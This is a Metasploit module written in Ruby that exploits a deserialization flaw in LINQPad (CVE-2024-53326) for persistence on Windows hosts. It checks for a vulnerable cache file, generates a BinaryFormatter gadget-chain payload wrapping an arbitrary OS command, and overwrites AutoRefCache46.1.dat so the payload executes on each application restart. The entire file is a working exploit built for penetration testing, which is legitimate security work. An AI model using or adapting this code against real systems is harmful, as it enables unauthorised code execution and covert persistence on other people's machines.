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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
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  # includes file?, directory?
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  include Msf::Post::File
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  include Msf::Exploit::Local::Persistence
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  # includes generate
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  include Msf::Util::DotNetDeserialization
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'LINQPad Deserialization',
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        'Description' => %q{
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          This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'msutovsky-r7 <[email protected]>',
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          'James Williams' # original research
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        ],
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        'Platform' => 'win',
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
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        'Privileged' => true,
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        'References' => [
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          [ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
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          [ 'CVE', '2024-53326']
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        ],
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        'DisclosureDate' => '2024-12-03',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options([
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      OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),
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    ])
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  end
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  # Simplify pulling the writable directory variable
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  def check
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    if !directory?(datastore['Cache_path'])
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      return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
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    elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
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      return Exploit::CheckCode::Unknown('Cannot find cache file')
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    elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')
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      return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
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    else
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      return Exploit::CheckCode::Appears('LINQPad and vulnerable cache file present, target possibly exploitable')
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    end
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  end
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  def install_persistence
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    # generate payload
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    vprint_status('Create deserialization payload')
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    dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
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      payload.encoded, # this is the Operating System command to run
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      gadget_chain: :TextFormattingRunProperties,
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      formatter: :BinaryFormatter
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    )
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    vprint_status('Saving the original content')
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    cached_file_content = read_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat')
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    backup_conf_path = store_loot(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', 'text/plain', session, cached_file_content, 'AutoRefCached46.1.dat', 'autorefcache46.1.dat backup')
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    vprint_status("Saved at: #{backup_conf_path}")
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    @clean_up_rc << "upload #{backup_conf_path} #{datastore['CACHE_PATH']}/AutoRefCache46.1.dat"
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    vprint_status('Overwriting file')
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    # try to overwrite cache file
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    fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)
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  end
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end
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